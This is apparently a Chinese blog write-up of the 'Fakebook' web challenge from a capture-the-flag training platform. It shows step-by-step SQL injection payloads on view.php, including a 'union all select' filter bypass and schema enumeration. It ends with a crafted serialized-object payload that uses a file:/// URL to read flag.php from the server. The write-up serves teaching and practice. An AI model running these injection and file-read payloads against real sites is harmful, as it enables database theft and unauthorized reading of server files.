攻防世界 | Web-Fakebook

这关一进来一个登录框,一个注册框,题目没给什么提示

先注册一个试试(但是注册完之后退不回去了 需要重新开一个浏览器)

注册完随便点一点,发现URL有点异样

http://111.200.241.244:54356/view.php?no=1

看起来又是个SQL注入 先加个单引号——果然报错了

接着用order by 测试出来有四个字段

常规的联合查询注入搞一下union select(我猜应该没这么简单)

但是!union select 不行 ,我们试试union all select(成功绕过)

 

 

?no=0 union all select 1,database(),3,4 --+ 数据库名fakebook

?no=0 union all select 1,group_concat(table_name),3,4 from information_schema.tables --+ 拿到所有表名字

?no=0 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+ 字段名users

?no=0 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+ 字段值 no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

?no=0 union all select 1,group_concat(data),3,4 from users--+

这里得到了一串序列化的值,感觉有点懵逼,这不是我自己注册的信息吗?

O:8:"UserInfo":3:

{s:4:"name";s:3:"abc";s:3:"age";i:123;s:4:"blog";s:10:"www.bb.com";}

 

那么这关考的不光是SQL注入了 重新理一下思路,扔到御剑里跑一跑

发现有flag.php和robots.txt。访问robots.txt

访问/user.php.bak 直接下载了一个文件 打开看一下是个php代码

 

这里彻底不会了 看下大佬的思路

通过构造反序列化语句,使用file协议去读取/var/www/html/flag.php的内容(file协议主要用于访问计算机本地文件,基本格式为:file:///文件路径)

构造出以下payload:

?no=0 union all%20select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"abc";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

 

 

 

右键查看源码

 

 

 

 

参考链接

 

posted @ 2022-08-14 12:26  mlxwl  阅读(95)  评论(0编辑  收藏  举报